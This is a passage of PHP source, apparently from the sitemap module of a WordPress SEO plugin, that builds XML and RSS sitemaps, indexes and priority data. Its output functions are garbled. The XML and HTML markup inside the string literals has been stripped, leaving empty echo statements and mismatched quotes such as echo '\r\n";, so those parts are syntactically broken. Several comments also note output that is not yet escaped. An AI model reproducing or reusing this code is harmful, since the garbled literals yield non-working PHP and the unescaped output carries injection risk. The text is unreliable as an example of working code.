); if ( ! is_wp_error( $term_count ) && ( $term_count > 0 ) ) { if ( ! empty( $this->options[ "{$this->prefix}indexes" ] ) ) { if ( $term_count > $this->max_posts ) { $count = 1; for ( $tc = 0; $tc < $term_count; $tc += $this->max_posts ) { $files[] = array( 'loc' => aioseop_home_url( '/' . $v1_taxonomy . '-' . $prefix . ( $count ++ ) . $suffix ), 'changefreq' => $this->get_default_frequency( 'taxonomies' ), 'priority' => $this->get_default_priority( 'taxonomies' ), ); } } else { $files[] = array( 'loc' => aioseop_home_url( '/' . $v1_taxonomy . '-' . $prefix . $suffix ), 'changefreq' => $this->get_default_frequency( 'taxonomies' ), 'priority' => $this->get_default_priority( 'taxonomies' ), ); } } else { $files[] = array( 'loc' => aioseop_home_url( '/' . $v1_taxonomy . '-' . $prefix . $suffix ), 'changefreq' => $this->get_default_frequency( 'taxonomies' ), 'priority' => $this->get_default_priority( 'taxonomies' ), ); } } } } foreach ( $this->get_child_sitemap_urls() as $csm ) { $files[] = array( 'loc' => $csm, 'changefreq' => $this->get_default_frequency( 'sitemap' ), 'priority' => $this->get_default_priority( 'sitemap' ), ); } $files = apply_filters( 'aioseop_sitemap_index_filenames', $files, $prefix, $suffix ); // Remove Additional Pages index if all pages are static and no extra pages are specified. if ( ! $this->does_addl_sitemap_contain_urls() ) { $page_to_remove = array( get_site_url() . '/addl-sitemap.xml' ); $files = $this->remove_urls_from_sitemap_page( $files, $page_to_remove ); } return $files; } /** * The does_addl_sitemap_contain_urls() function. * * Checks whether the Additional Pages index will contain URLs. * This will not be the case if there is both a static homepage/posts page and there are no additional pages specified. * * @since 3.2.0 * * @return bool */ private function does_addl_sitemap_contain_urls() { $is_addl_pages = ! empty( $this->options['aiosp_sitemap_addl_pages'] ); if ( ! $is_addl_pages && ( 'page' === get_option( 'show_on_front' ) ) ) { return false; } return true; } /** * Build the Sitemap * * @since ? * * @param $sitemap_type * @param int $page * @param string $filename * @param string $comment * @return string */ public function do_build_sitemap( $sitemap_type, $page = 0, $filename = '', $comment = '' ) { if ( empty( $filename ) ) { switch ( $sitemap_type ) { case 'root': // fall-through. case 'rss': // fall-through. case 'rss_latest': $filename = $this->get_filename(); break; default: $filename = $this->get_filename() . '_' . $sitemap_type; break; } } if ( empty( $comment ) ) { $comment = "file '%s' statically"; } $sitemap_data = $this->get_sitemap_data( $sitemap_type, $page ); if ( ( 'root' === $sitemap_type ) && ! empty( $this->options[ "{$this->prefix}indexes" ] ) ) { return $this->build_sitemap_index( $sitemap_data, sprintf( $comment, $filename ) ); } else { if ( empty( $sitemap_data ) ) { return ''; } return $this->build_sitemap( $sitemap_data, $sitemap_type, sprintf( $comment, $filename ) ); } } /** * Do Write Sitemaps * * Write the sitemap. * * @since ? * * @param $sitemap_type * @param int $page * @param string $filename * @param string $comment */ public function do_write_sitemap( $sitemap_type, $page = 0, $filename = '', $comment = '' ) { if ( empty( $filename ) ) { if ( 'root' === $sitemap_type ) { $filename = $this->get_filename(); } else { $filename = $sitemap_type . '-' . $this->get_filename(); } } if ( empty( $comment ) ) { $comment = "file '%s' statically"; } $this->write_sitemaps( $filename, $this->do_build_sitemap( $sitemap_type, $page, $filename, $comment ) ); } /** * Do Indexed Sitemaps * * Build all the indexes. * * @since ? */ public function do_indexed_sitemaps() { $this->start_memory_usage = memory_get_peak_usage(); $options = $this->options; $this->do_write_sitemap( 'root' ); $this->do_write_sitemap( 'addl' ); if ( $this->option_isset( 'archive' ) ) { $this->do_write_sitemap( 'archive' ); } if ( $this->option_isset( 'author' ) ) { $this->do_write_sitemap( 'author' ); } if ( ( ! isset( $options[ "{$this->prefix}posttypes" ] ) ) || ( ! is_array( $options[ "{$this->prefix}posttypes" ] ) ) ) { $options[ "{$this->prefix}posttypes" ] = array(); } if ( ( ! isset( $options[ "{$this->prefix}taxonomies" ] ) ) || ( ! is_array( $options[ "{$this->prefix}taxonomies" ] ) ) ) { $options[ "{$this->prefix}taxonomies" ] = array(); } $options[ "{$this->prefix}posttypes" ] = array_diff( $options[ "{$this->prefix}posttypes" ], array( 'all' ) ); $options[ "{$this->prefix}taxonomies" ] = array_diff( $options[ "{$this->prefix}taxonomies" ], array( 'all' ) ); if ( ! empty( $options[ "{$this->prefix}posttypes" ] ) ) { $post_counts = $this->get_all_post_counts( array( 'post_type' => $options[ "{$this->prefix}posttypes" ], 'post_status' => 'publish', ) ); foreach ( $options[ "{$this->prefix}posttypes" ] as $posttype ) { if ( 0 === $post_counts[ $posttype ] ) { continue; } if ( ! empty( $this->options[ "{$this->prefix}indexes" ] ) && ( $post_counts[ $posttype ] > $this->max_posts ) ) { $count = 1; for ( $post_count = 0; $post_count < $post_counts[ $posttype ]; $post_count += $this->max_posts ) { $this->do_write_sitemap( $posttype, $count - 1, "{$posttype}-" . $this->get_filename() . "{$count}" ); $count ++; } } else { $this->do_write_sitemap( $posttype ); } } } if ( ! empty( $options[ "{$this->prefix}taxonomies" ] ) ) { foreach ( $options[ "{$this->prefix}taxonomies" ] as $taxonomy ) { $term_count = wp_count_terms( $taxonomy, array( 'hide_empty' => true ) ); if ( ! is_wp_error( $term_count ) && ( $term_count > 0 ) ) { if ( ! empty( $this->options[ "{$this->prefix}indexes" ] ) ) { if ( $term_count > $this->max_posts ) { $count = 1; for ( $tc = 0; $tc < $term_count; $tc += $this->max_posts ) { $this->do_write_sitemap( $taxonomy, $tc, "{$taxonomy}-" . $this->get_filename() . "{$count}" ); $count ++; } } else { $this->do_write_sitemap( $taxonomy ); } } else { $this->do_write_sitemap( $taxonomy ); } } } } $this->log_stats( 'indexed', false ); } /** * Remove Posts Page * * @since 2.3.11 * * @param $postspageid * @return bool */ public function remove_posts_page( $postspageid ) { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( in_array( $postspageid, $this->excludes ) ) { return true; } // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( in_array( get_post_field( 'post_name', $postspageid ), $this->excludes ) ) { return true; } return false; } /** * Remove Homepage * * @since 2.3.11 * * @param $homepage_id * @return bool */ public function remove_homepage( $homepage_id ) { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( in_array( $homepage_id, $this->excludes ) ) { return true; } // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( in_array( get_post_field( 'post_name', $homepage_id ), $this->excludes ) ) { return true; } return false; } /** * The get_sitemap_without_indexes() function. * * Fetches data for sitemap without indexes. * * @since 2.3.6 * @since 2.3.12.3 Refactored to use aioseop_home_url() for compatibility purposes. * @since 3.2.0 Improved function and variable naming. * * @return array */ public function get_sitemap_without_indexes() { $child_urls = $this->get_child_sitemap_urls(); $options = $this->options; if ( is_array( $options[ "{$this->prefix}posttypes" ] ) ) { $options[ "{$this->prefix}posttypes" ] = array_diff( $options[ "{$this->prefix}posttypes" ], array( 'all' ) ); } if ( is_array( $options[ "{$this->prefix}taxonomies" ] ) ) { $options[ "{$this->prefix}taxonomies" ] = array_diff( $options[ "{$this->prefix}taxonomies" ], array( 'all' ) ); } $urls = $this->get_all_post_priority_data( $options[ "{$this->prefix}posttypes" ] ); // It's 0 if posts are on homepage, otherwise it's the id of the posts page. $posts = (int) get_option( 'page_for_posts' ); $postspageid = (int) get_option( 'page_for_posts' ); $home = array( 'loc' => aioseop_home_url(), 'changefreq' => $this->get_default_frequency( 'homepage' ), 'priority' => $this->get_default_priority( 'homepage' ), 'image:image' => $this->get_images_from_post( (int) get_option( 'page_on_front' ) ), ); if ( $posts ) { $posts = $this->get_permalink( $posts ); if ( $posts === $home['loc'] ) { $posts = null; } else { $posts = array( 'loc' => $posts, 'changefreq' => $this->get_default_frequency( 'blog' ), 'priority' => $this->get_default_priority( 'blog' ), ); } } if ( $this->option_isset( 'archive' ) ) { $urls = array_merge( $urls, $this->get_date_archive_prio_data() ); } if ( $this->option_isset( 'author' ) ) { $urls = array_merge( $urls, $this->get_author_prio_data() ); } foreach ( $urls as $k => $p ) { if ( untrailingslashit( $p['loc'] ) === untrailingslashit( $home['loc'] ) ) { $urls[ $k ]['priority'] = '1.0'; $home = null; break; } } if ( ( null !== $posts ) && isset( $posts['loc'] ) ) { foreach ( $urls as $k => $p ) { if ( $p['loc'] === $posts['loc'] ) { $urls[ $k ]['changefreq'] = $this->get_default_frequency( 'blog' ); $urls[ $k ]['priority'] = $this->get_default_priority( 'blog' ); $posts = null; break; } } } if ( is_array( $posts ) && $this->remove_posts_page( $postspageid ) !== true ) { array_unshift( $urls, $posts ); } if ( is_array( $home ) ) { array_unshift( $urls, $home ); } $terms = get_terms( $this->get_tax_args( $options[ "{$this->prefix}taxonomies" ] ) ); $urls2 = $this->get_term_priority_data( $terms ); $urls3 = $this->get_addl_pages_only(); $urls = array_merge( $child_urls, $urls, $urls2, $urls3 ); if ( is_array( $this->extra_sitemaps ) ) { foreach ( $this->extra_sitemaps as $sitemap_type ) { $sitemap_data = array(); $sitemap_data = apply_filters( $this->prefix . 'custom_' . $sitemap_type, $sitemap_data, $page, $this_options ); $urls = array_merge( $urls, $sitemap_data ); } } $urls = $this->get_homepage_timestamp( $urls ); $urls = $this->get_posts_page_timestamp( $urls ); return $urls; } /** * Do Simple Sitemap * * Build a single, stand-alone sitemap without indexes. * * @since ? * * @param string $comment * @return string */ public function do_simple_sitemap( $comment = '' ) { $sitemap_data = $this->get_sitemap_without_indexes(); $sitemap_data = apply_filters( $this->prefix . 'data', $sitemap_data, 'root', 0, $this->options ); return $this->build_sitemap( $sitemap_data, '', $comment ); } /** * Do Simple Sitemap RSS * * Build a single stand-alone RSS sitemap without indexes. * * @since 2.9 * * @param string $comment * @return string */ public function do_simple_sitemap_rss( $comment = '' ) { $sitemap_data = $this->get_sitemap_without_indexes(); $sitemap_data = apply_filters( $this->prefix . 'data', $sitemap_data, 'rss', 0, $this->options ); return $this->build_sitemap( $sitemap_data, 'rss', $comment ); } /** * Get Sitemap XSL * * Gets the sitemap URL. * * Has a filter for using something other than the dynamically generated one. * Using the filter you need the full path to the custom xsl file. * * @since 2.3.6 * @since 2.3.12.3 Refactored to use aioseop_home_url() for compatibility purposes. * * @see https://semperplugins.com/documentation/aioseop_sitemap_xsl_url/ */ public function get_sitemap_xsl() { return esc_url( apply_filters( 'aioseop_sitemap_xsl_url', aioseop_home_url( '/sitemap.xsl' ) ) ); } /** * Output RSS * * Output the RSS for a sitemap, full or latest. * * @since 2.9 * * @param $urls * @param string $sitemap_type The type of RSS sitemap viz. rss or rss_latest. * @param string $comment */ private function output_rss( $urls, $sitemap_type, $comment ) { echo '' . "\r\n\r\n"; // TODO Add esc_* function. echo '\r\n"; echo ''; if ( is_multisite() ) { // TODO Add esc_* function. echo '' . aiosp_common::make_xml_safe( 'title', get_blog_option( get_current_blog_id(), 'blogname' ) ) . '' . '' . aiosp_common::make_xml_safe( 'link', get_blog_option( get_current_blog_id(), 'siteurl' ) ) . '' . '' . aiosp_common::make_xml_safe( 'description', get_blog_option( get_current_blog_id(), 'blogdescription' ) ) . ''; } else { // TODO Add esc_* function. echo '' . aiosp_common::make_xml_safe( 'title', get_option( 'blogname' ) ) . '' . '' . aiosp_common::make_xml_safe( 'link', get_option( 'siteurl' ) ) . '' . '' . aiosp_common::make_xml_safe( 'description', get_option( 'blogdescription' ) ) . ''; } // remove urls that do not have the rss element. $urls = array_filter( $urls, array( $this, 'include_in_rss' ) ); if ( false !== strpos( $sitemap_type, 'latest' ) ) { // let's sort the array in descending order of date. uasort( $urls, array( $this, 'sort_modifed_date_descending' ) ); $urls = array_slice( $urls, 0, apply_filters( $this->prefix . 'rss_latest_limit', 20 ) ); } foreach ( $urls as $url ) { // TODO Add esc_* function. echo '' . '' . aiosp_common::make_xml_safe( 'guid', $url['loc'] ) . '' . '' . aiosp_common::make_xml_safe( 'title', $url['rss']['title'] ) . '' . '' . aiosp_common::make_xml_safe( 'link', $url['loc'] ) . '' . // TODO Add esc_* or wp_kses function. '' . '' . aiosp_common::make_xml_safe( 'pubDate', $url['rss']['pubDate'] ) . '' . ''; } echo ''; } /** * Include in RSS * * Remove elements not containing the rss element. * * @since 2.9 * * @param $array * @return bool */ public function include_in_rss( $array ) { return isset( $array['rss'] ); } /** * Sort Modified Date Descending * * Sort on the basis of modified date. * * @since 2.9 * * @param $array1 * @param $array2 * @return bool|int */ public function sort_modifed_date_descending( $array1, $array2 ) { if ( ! isset( $array1['rss'] ) || ! isset( $array2['rss'] ) ) { return 0; } return $array1['rss']['timestamp'] < $array2['rss']['timestamp']; } /** * Output Sitemap * * Output the XML for a sitemap. * * @since ? * * @param $urls * @param string $sitemap_type The type of sitemap viz. root, rss, rss_latest etc.. For static sitemaps, this would be empty. * @param string $comment * @return null */ private function output_sitemap( $urls, $sitemap_type, $comment = '' ) { if ( 0 === strpos( $sitemap_type, 'rss' ) ) { // starts with rss. $this->output_rss( $urls, $sitemap_type, $comment ); return; } $max_items = 50000; if ( ! is_array( $urls ) ) { return null; } echo '' . "\r\n\r\n"; // TODO Add esc_* function. echo '\r\n"; $plugin_path = $this->plugin_path['url']; $plugin_url = wp_parse_url( $plugin_path ); $current_host = $_SERVER['HTTP_HOST']; if ( empty( $current_host ) ) { $current_host = $_SERVER['SERVER_NAME']; } if ( ! empty( $current_host ) && ( $current_host !== $plugin_url['host'] ) ) { $plugin_url['host'] = $current_host; } // Code `unset( $plugin_url['scheme'] )`. $plugin_path = $this->unparse_url( $plugin_url ); // Using the filter you need the full path to the custom xsl file. $xsl_url = $this->get_sitemap_xsl(); $xml_header = '' . "\r\n" . 'prefix . 'xml_namespace', array( 'xmlns' => 'http://www.sitemaps.org/schemas/sitemap/0.9', 'xmlns:image' => 'http://www.google.com/schemas/sitemap-image/1.1', ) ); if ( ! empty( $namespaces ) ) { $ns = array(); foreach ( $namespaces as $k => $v ) { $ns[] = esc_attr( $k ) . '="' . esc_url( $v, array( 'http', 'https' ) ) . '"'; } $xml_header .= join( "\r\n\t", $ns ); } $xml_header .= '>' . "\r\n"; // TODO Add esc_* function. echo $xml_header; $count = 0; foreach ( $urls as $url ) { echo "\t\r\n"; if ( is_array( $url ) ) { if ( isset( $url['rss'] ) ) { unset( $url['rss'] ); } foreach ( $url as $k => $v ) { if ( ! empty( $v ) ) { $v = aiosp_common::make_xml_safe( $k, $v ); if ( is_array( $v ) ) { $buf = "\t\t\t<$k>\r\n"; foreach ( $v as $ext => $attr ) { if ( is_array( $attr ) ) { $buf = ''; // TODO Add esc_* function. echo "\t\t<$k>\r\n"; foreach ( $attr as $a => $nested ) { if ( is_array( $nested ) ) { // TODO Add esc_* function. echo "\t\t\t<$a>\r\n"; foreach ( $nested as $next => $nattr ) { $value = aiosp_common::make_xml_safe( $next, $nattr ); // TODO Add esc_* function. echo "\t\t\t\t<$next>$value\r\n"; } // TODO Add esc_* function. echo "\t\t\t\r\n"; } else { $value = aiosp_common::make_xml_safe( $a, $nested ); // TODO Add esc_* function. echo "\t\t\t<$a>$value\r\n"; } } // TODO Add esc_* function. echo "\t\t\r\n"; } else { $value = aiosp_common::make_xml_safe( $ext, $attr ); $buf .= "\t\t\t<$ext>$value\r\n"; } } if ( ! empty( $buf ) ) { // TODO Add esc_* function. echo $buf . "\t\t\r\n"; } } else { $value = aiosp_common::make_xml_safe( $k, $v ); // TODO Add esc_* function. echo "\t\t<$k>$value\r\n"; } } } } else { $value = aiosp_common::make_xml_safe( 'loc', $url ); // TODO Add esc_* function. echo "\t\t$value\r\n"; } echo "\t\r\n"; if ( $count >= $max_items ) { break; } } echo ''; } /** * Output Sitemap Index * * Output the XML for a sitemap index. * * @since ? * * @param $urls * @param string $comment * @return null */ public function output_sitemap_index( $urls, $comment = '' ) { $max_items = 50000; if ( ! is_array( $urls ) ) { return null; } echo '' . "\r\n\r\n"; // TODO Add esc_* function. echo '\r\n"; $xsl_url = $this->get_sitemap_xsl(); // TODO Add esc_* function. echo '' . "\r\n"; echo '' . "\r\n"; $count = 0; foreach ( $urls as $url ) { echo "\t\r\n"; if ( is_array( $url ) ) { foreach ( $url as $k => $v ) { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( ! in_array( $k, array( 'loc', 'lastmod' ) ) ) { continue; } $v = aiosp_common::make_xml_safe( $k, $v ); // TODO Add esc_* function. echo "\t\t<$k>$v\r\n"; } } else { $value = aiosp_common::make_xml_safe( 'loc', $url ); // TODO Add esc_* function. echo "\t\t$value\r\n"; } echo "\t\r\n"; $count ++; if ( $count >= $max_items ) { break; } } echo ''; } /** * Build Sitemap Index * * Return an XML sitemap index as a string. * * @since ? * * @param $urls * @param string $comment * @return string */ public function build_sitemap_index( $urls, $comment = '' ) { ob_start(); $this->output_sitemap_index( $urls, $comment ); return ob_get_clean(); } /** * Build Sitemap * * Return an XML sitemap as a string. * * @since ? * * @param $urls * @param string $sitemap_type The type of sitemap viz. root, rss, rss_latest etc.. For static sitemaps, this would be empty. * @param string $comment * @return string */ public function build_sitemap( $urls, $sitemap_type, $comment = '' ) { ob_start(); $this->output_sitemap( $urls, $sitemap_type, $comment ); return ob_get_clean(); } /** * Get Term Priority Data * * Return sitemap data for an array of terms. * * @since ? * * @param $terms * @return array */ public function get_term_priority_data( $terms ) { $prio = array(); if ( is_array( $terms ) && ! empty( $terms ) ) { $def_prio = $this->get_default_priority( 'taxonomies' ); $def_freq = $this->get_default_frequency( 'taxonomies' ); foreach ( $terms as $term ) { $pr_info = array(); $pr_info['loc'] = $this->get_term_link( $term, $term->taxonomy ); $pr_info['lastmod'] = $this->get_tax_term_timestamp( $term ); if ( ( 'sel' === $this->options[ $this->prefix . 'freq_taxonomies' ] ) && isset( $this->options[ $this->prefix . 'freq_taxonomies_' . $term->taxonomy ] ) && ( 'no' !== $this->options[ $this->prefix . 'freq_taxonomies_' . $term->taxonomy ] ) ) { $pr_info['changefreq'] = $this->options[ $this->prefix . 'freq_taxonomies_' . $term->taxonomy ]; } else { $pr_info['changefreq'] = $def_freq; } if ( ( 'sel' === $this->options[ $this->prefix . 'prio_taxonomies' ] ) && isset( $this->options[ $this->prefix . 'prio_taxonomies_' . $term->taxonomy ] ) && ( 'no' !== $this->options[ $this->prefix . 'prio_taxonomies_' . $term->taxonomy ] ) ) { $pr_info['priority'] = $this->options[ $this->prefix . 'prio_taxonomies_' . $term->taxonomy ]; } else { $pr_info['priority'] = $def_prio; } $pr_info['image:image'] = $this->get_images_from_term( $term ); $pr_info['rss'] = array( 'title' => $term->name, 'description' => $term->description, 'pubDate' => $this->get_date_for_term( $term ), ); $prio[] = $pr_info; } } return $prio; } /** * The get_tax_term_timestamp() function. * * Gets the Last Change timestamp for a taxonomy term. * * @since 3.2.0 * * @param object $term * @return string $lastmod */ private function get_tax_term_timestamp( $term ) { $taxonomy_object = get_taxonomy( $term->taxonomy ); $lastmod = ''; // Loop through all attached post types and get timestamp of last modified assigned post. foreach ( $taxonomy_object->object_type as $object_type ) { $latest_modified_post = new WP_Query( array( 'post_type' => $object_type, 'post_status' => 'publish', 'posts_per_page' => 1, 'orderby' => 'modified', 'order' => 'DESC', 'taxonomy' => $term->taxonomy, 'term' => $term->name, ) ); if ( $latest_modified_post->have_posts() ) { $temp_lastmod = $latest_modified_post->posts[0]->post_modified_gmt; if ( '' === $lastmod || ( $temp_lastmod > $lastmod ) ) { $lastmod = $temp_lastmod; } } } $lastmod = date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $lastmod ) ); return $lastmod; } /** * Get Date for Term * * Return the date of the latest post in the given taxonomy term. * * @since 2.9 * * @param WP_Term $term The taxonomy term. * @return string */ private function get_date_for_term( $term ) { $date = ''; $query = new WP_Query( array( 'orderby' => 'post_date', 'order' => 'DESC', 'numberposts' => 1, 'post_type' => 'any', 'post_status' => 'publish', 'tax_query' => array( array( 'taxonomy' => $term->taxonomy, 'terms' => $term->term_id, ), ), ) ); if ( $query->have_posts() ) { $timestamp = mysql2date( 'U', $query->post->post_modified_gmt ); $date = date( 'r', $timestamp ); } return $date; } /** * Get Term Permalinks * * Return a list of permalinks for an array of terms. * * @since ? * * @param $terms * @return array */ public function get_term_permalinks( $terms ) { $links = array(); if ( is_array( $terms ) ) { foreach ( $terms as $term ) { $url = $this->get_term_link( $term ); $links[] = $url; } } return $links; } /** * Get Archive Permalinks * * Return permalinks for archives. * * @since ? * * @param $posts * @return array */ public function get_archive_permalinks( $posts ) { $links = array(); $archives = array(); if ( is_array( $posts ) ) { foreach ( $posts as $post ) { $date = mysql2date( 'U', $post->post_date ); $year = date( 'Y', $date ); $month = date( 'm', $date ); $archives[ $year . '-' . $month ] = array( $year, $month ); } } $archives = array_keys( $archives ); foreach ( $archives as $d ) { $links[] = get_month_link( $d[0], $d[1] ); } return $links; } /** * Get Author Permalink * * Return permalinks for authors. * * @since ? * * @param $posts * @return array */ public function get_author_permalinks( $posts ) { $links = array(); $authors = array(); if ( is_array( $posts ) ) { foreach ( $posts as $post ) { $authors[ $post->author_id ] = 1; } } $authors = array_keys( $authors ); foreach ( $authors as $auth_id ) { $links[] = get_author_posts_url( $auth_id ); } return $links; } /** * Get Post Permalink * * Return permalinks for posts. * * @since ? * * @param $posts * @return array */ public function get_post_permalinks( $posts ) { $links = array(); if ( is_array( $posts ) ) { foreach ( $posts as $post ) { $post->filter = 'sample'; $url = $this->get_permalink( $post ); $links[] = $url; } } return $links; } /** * Unparse URL * * Convert back from parse_url. * Props to thomas at gielfeldt dot com. * * @since ? * * @link http://www.php.net/manual/en/function.parse-url.php#106731 * * @param $parsed_url * @return string */ public function unparse_url( $parsed_url ) { $scheme = isset( $parsed_url['scheme'] ) ? $parsed_url['scheme'] . '://' : ''; $host = isset( $parsed_url['host'] ) ? $parsed_url['host'] : ''; if ( ! empty( $host ) && empty( $scheme ) ) { $scheme = '//'; } $port = isset( $parsed_url['port'] ) ? ':' . $parsed_url['port'] : ''; $user = isset( $parsed_url['user'] ) ? $parsed_url['user'] : ''; $pass = isset( $parsed_url['pass'] ) ? ':' . $parsed_url['pass'] : ''; $pass = ( $user || $pass ) ? "$pass@" : ''; $path = isset( $parsed_url['path'] ) ? $parsed_url['path'] : ''; $query = isset( $parsed_url['query'] ) ? '?' . $parsed_url['query'] : ''; $fragment = isset( $parsed_url['fragment'] ) ? '#' . $parsed_url['fragment'] : ''; return "$scheme$user$pass$host$port$path$query$fragment"; } /** * Get Additional Page Only * * Return data for user entered additional pages. * * @since 2.3.6 * @since 2.3.12.3 Refactored to use aioseop_home_url() for compatibility purposes. * * @return array */ public function get_addl_pages_only() { $pages = array(); if ( ! empty( $this->options[ $this->prefix . 'addl_pages' ] ) ) { $siteurl = wp_parse_url( aioseop_home_url() ); foreach ( $this->options[ $this->prefix . 'addl_pages' ] as $k => $v ) { $k = aiosp_common::make_url_valid_smartly( $k ); $url = wp_parse_url( $k ); if ( empty( $url['host'] ) ) { $url['host'] = $siteurl['host']; } if ( ! empty( $url['path'] ) && substr( $url['path'], 0, 1 ) !== '/' ) { $url['path'] = '/' . $url['path']; } $freq = ''; $prio = ''; $mod = ''; if ( ! empty( $v['mod'] ) ) { $mod = $v['mod']; } if ( ! empty( $v['freq'] ) ) { $freq = $v['freq']; } if ( ! empty( $v['prio'] ) ) { $prio = $v['prio']; } if ( 'no' === $freq ) { $freq = ''; } if ( 'no' === $prio ) { $prio = ''; } $mod = date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $mod ) ); $pages[] = array( 'loc' => $this->unparse_url( $url ), 'lastmod' => $mod, 'changefreq' => $freq, 'priority' => $prio, ); } } $pages = apply_filters( $this->prefix . 'addl_pages_only', $pages ); return $pages; } /** * Get Additional Pages * * Return data for user entered additional pages and extra pages. * * @since 2.3.6 * @since 2.3.12.3 Refactored to use aioseop_home_url() for compatibility purposes. * @since 3.2.0 Do not include static homepage/posts page - #2126. * * @return array */ public function get_addl_pages() { $home = array(); $home = array( 'loc' => aioseop_home_url(), 'changefreq' => $this->get_default_frequency( 'homepage' ), 'priority' => $this->get_default_priority( 'homepage' ), 'image:image' => $this->get_images_from_post( (int) get_option( 'page_on_front' ) ), ); $posts = (int) get_option( 'page_for_posts' ); if ( $posts ) { $posts = $this->get_permalink( $posts ); if ( $posts === $home['loc'] ) { $posts = array(); } else { $posts = array( 'loc' => $posts, 'changefreq' => $this->get_default_frequency( 'blog' ), 'priority' => $this->get_default_priority( 'blog' ), ); } } else { $posts = array(); } $pages = $this->get_addl_pages_only(); if ( ! empty( $home ) ) { $pages[] = $home; } if ( ! empty( $posts ) ) { $pages[] = $posts; } $pages = apply_filters( $this->prefix . 'addl_pages', $pages ); $pages = $this->get_homepage_timestamp( $pages ); $pages = $this->remove_addl_static_pages( $pages ); return $pages; } /** * The remove_addl_static_pages() function. * * Removes the homepage/posts page from the Additional Pages index if it is static - #2126. * * @since 3.2.0 * * @param array $pages * @return array $pages */ private function remove_addl_static_pages( $pages ) { $pages_to_remove = array(); if ( 0 !== (int) get_option( 'page_on_front' ) ) { $homepage_url = get_site_url() . '/'; array_push( $pages_to_remove, $homepage_url ); } $static_posts_page_id = (int) get_option( 'page_for_posts' ); if ( 0 !== $static_posts_page_id ) { array_push( $pages_to_remove, get_permalink( $static_posts_page_id ) ); } if ( count( $pages_to_remove ) > 0 ) { return $this->remove_urls_from_sitemap_page( $pages, $pages_to_remove ); } return $pages; } /** * The remove_urls_from_sitemap_page() function. * * Removes URLs from a sitemap page. This is used both for indexes and pages within indexes. * * @since 3.2.0 * * @param array $pages * @param array $pages_to_remove * @return array $pages */ private function remove_urls_from_sitemap_page( $pages, $pages_to_remove ) { $count = count( $pages ); for ( $i = 0; $i < $count; $i++ ) { if ( in_array( $pages[ $i ]['loc'], $pages_to_remove, true ) ) { unset( $pages[ $i ] ); } } return $pages; } /** * The get_homepage_timestamp() function. * * Gets the Last Change timestamp for the homepage if it isn't static. * * @since 3.2.0 * * @param array $urls * @return array $urls */ private function get_homepage_timestamp( $urls ) { if ( 0 !== (int) get_option( 'page_on_front' ) ) { return $urls; } $homepage_url = get_site_url() . '/'; $urls = $this->update_static_page_timestamp( $urls, $homepage_url ); return $urls; } /** * The get_posts_page_timestamp() function. * * Gets the Last Change timestamp for the posts page. * * @since 3.2.0 * * @param array $urls * @return array $urls */ private function get_posts_page_timestamp( $urls ) { $posts_page_id = (int) get_option( 'page_for_posts' ); if ( 0 === $posts_page_id ) { return $urls; } $posts_page_url = get_permalink( $posts_page_id ); $urls = $this->update_static_page_timestamp( $urls, $posts_page_url ); return $urls; } /** * The update_static_page_timestamp() function. * * Update the timestamp attribute for a static page. * * @since 3.2.0 * * @param array $urls * @param string $static_page_url * @return array $urls */ private function update_static_page_timestamp( $urls, $static_page_url ) { $lastmod = $this->get_last_modified_post_timestamp( 'post' ); if ( false === $lastmod ) { return $urls; } $url_locs = array_combine( array_keys( $urls ), wp_list_pluck( $urls, 'loc' ) ); $index = array_search( $static_page_url, $url_locs ); if ( false === $index ) { return $urls; } $urls[ $index ] = $this->insert_timestamp_as_second_attribute( $urls[ $index ], $lastmod ); return $urls; } /** * The get_last_modified_post_timestamp() function. * * Gets the last modified post. * * @since 3.2.0 * * @param string $post_type * @return mixed Timestamp of the last modified post or false if there is none. */ private function get_last_modified_post_timestamp( $post_type ) { $last_modified_post = new WP_Query( array( 'post_type' => $post_type, 'post_status' => 'publish', 'posts_per_page' => 1, 'orderby' => 'modified', 'order' => 'DESC', ) ); if ( $last_modified_post->have_posts() ) { return $this->format_timestamp_as_lastmod_attribute( $last_modified_post ); } return false; } /** * The format_timestamp_as_lastmod_attribute() function. * * Formats the timestamp for a sitemap record in order to have valid sitemap schema. * * @since 3.2.0 * * @param object $last_modified_post WP_Query for the last modified post. * @return string $lastmod */ private function format_timestamp_as_lastmod_attribute( $last_modified_post ) { $lastmod = $last_modified_post->posts[0]->post_modified_gmt; return date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $lastmod ) ); } /** * The insert_timestamp_as_second_attribute() function. * * Inserts the timestamp for a sitemap record as the second attribute. * The lastmod subtag has to be inserted as second attribute in order to have valid schema. * * @since 3.2.0 * * @param array $url * @param string $lastmod * @return array $url */ private function insert_timestamp_as_second_attribute( $url, $lastmod ) { return array_slice( $url, 0, 1, true ) + array( 'lastmod' => $lastmod ) + array_slice( $url, 1, null, true ); } /** * Get Additional Page Links * * Return links for user entered additional pages. * * @since ? * * @return array */ public function get_addl_page_links() { if ( ! empty( $this->options[ $this->prefix . 'addl_pages' ] ) ) { return array_keys( $this->options[ $this->prefix . 'addl_pages' ] ); } return array(); } /** * Get Priority Calculation * * Scores posts based on date and relative comment count, if any. * * @since ? * * @param $date * @param mixed $stats * @return array */ public function get_prio_calc( $date, $stats ) { static $cur_time = null; if ( null === $cur_time ) { $cur_time = time(); } $time = $cur_time - mysql2date( 'U', $date ); if ( ! empty( $stats ) && isset( $stats['max'] ) && $stats['max'] ) { $minadj = $time >> 3; $maxadj = $time >> 1; $avg = $stats['count'] / $stats['total']; $calc = ( $stats['comment_count'] - $stats['min'] ) / $stats['max']; $calc = $maxadj * $calc; if ( $avg < $stats['comment_count'] ) { $minadj = $time >> 2; } else { $maxadj = $time >> 2; } if ( $calc > $maxadj ) { $calc = $maxadj; } if ( $calc < $minadj ) { $calc = $minadj; } $time -= $calc; } $days = $time / ( 60 * 60 * 24 ); $prio_table = array( 'daily' => 7, 'weekly' => 30, 'monthly' => 210, 'yearly' => null, ); $interval = 1.0; $prev_days = 0; foreach ( $prio_table as $change => $max_days ) { $interval -= 0.3; if ( null === $max_days ) { $changefreq = $change; $prio = 0.1; break; } if ( $days < $max_days ) { $int_days_max = $max_days - $prev_days; $int_days = $days - $prev_days; $prio = $interval + ( (int) ( 3 * ( ( $max_days - $int_days ) / $int_days_max ) ) / 10.0 ); 